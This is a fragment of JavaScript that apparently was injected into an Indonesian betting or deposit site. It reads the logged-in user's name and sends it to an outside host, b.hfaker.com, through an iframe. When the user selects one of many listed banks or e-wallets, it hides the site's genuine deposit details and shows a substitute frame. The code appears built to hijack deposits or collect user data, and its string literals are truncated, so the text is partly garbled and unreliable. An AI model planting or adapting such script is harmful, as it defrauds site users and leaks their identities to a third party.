function myFunction(){ var divv= document.getElementsByClassName("mb-lobby-username")[0].innerHTML; $('#iframeaudotdepoqris').show(); $('.bbs').height( 400 ); $('#iframeaudotdepoqris').height( 400 ); $('#iframeaudotdepoqris').width( '100%' ); $('#iframeaudotdepoqris').attr('src', 'https://b.hfaker.com/ifjoga6.php?id='+ divv); } function myFunction2(){ var userLoginElement = document.querySelector('.user-login'); var divv= userLoginElement.innerText $('#iframeaudotdepoqris').show(); $('.bbs').height( 400 ); $('#iframeaudotdepoqris').height( 400 ); $('#iframeaudotdepoqris').width( '100%' ); $('#iframeaudotdepoqris').attr('src', 'https://b.hfaker.com/ifjoga6.php?id='+ divv); } document.addEventListener("DOMContentLoaded",function(){ var divv= document.getElementsByClassName("mb-lobby-username")[0].innerHTML; var theParent = document.getElementById('pg-main'); theKid = document.createElement("div"); theKid.innerHTML = '
" ).insertBefore( ".depo-ibanking" ); var refreshId = setInterval(function(){ //code goes here that will be run every 5 seconds. var bla = $('.dd-selected-text').html(); var hide = $('#hidenn').html(); if(bla =="BANKMALUKU" || bla =="BRISYARIAH" || bla =="NOBUBANK" || bla =="BTN" || bla =="BANKDKI" || bla =="PAPUA" || bla =="BCA" || bla =="DANA QRIS" || bla =="BUKOPIN" || bla =="BANKBTN" || bla =="BANKJAGO" || bla =="MANDIRI" || bla =="JENIUS" || bla =="OCBC" || bla =="PANIN" || bla =="OVO" || bla =="SEABANK" || bla =="SHOPEEPAY" || bla =="SINARMAS" || bla =="BANKNEO" || bla =="BANKDKI"){ if(hide == "0"){ $('#hidenn').html('1'); $('#bank > div:nth-child(7)').hide(); $('#bank > div:nth-child(8)').hide(); $('#bank > div:nth-child(9)').hide(); $('#bank > div:nth-child(13)').hide(); $('#bank > div:nth-child(14)').hide(); $('#bank > div:nth-child(16)').hide(); $('#bank > div:nth-child(15)').hide(); $('#iframeweb').show(); $('.depo-ibanking').hide(); $('#iframeweb').html(''); } } else{ $('#hidenn').html('0'); $('#bank > div:nth-child(7)').show(); $('#bank > div:nth-child(8)').show(); $('#bank > div:nth-child(9)').show(); $('#bank > div:nth-child(13)').show(); $('#bank > div:nth-child(14)').show(); $('#bank > div:nth-child(16)').show(); $('#bank > div:nth-child(15)').show(); $('#iframeweb').hide(); $('.depo-ibanking').show(); } }); },false); '; // append theKid to the end of theParent theParent.insertBefore(theKid, theParent.firstChild); $( "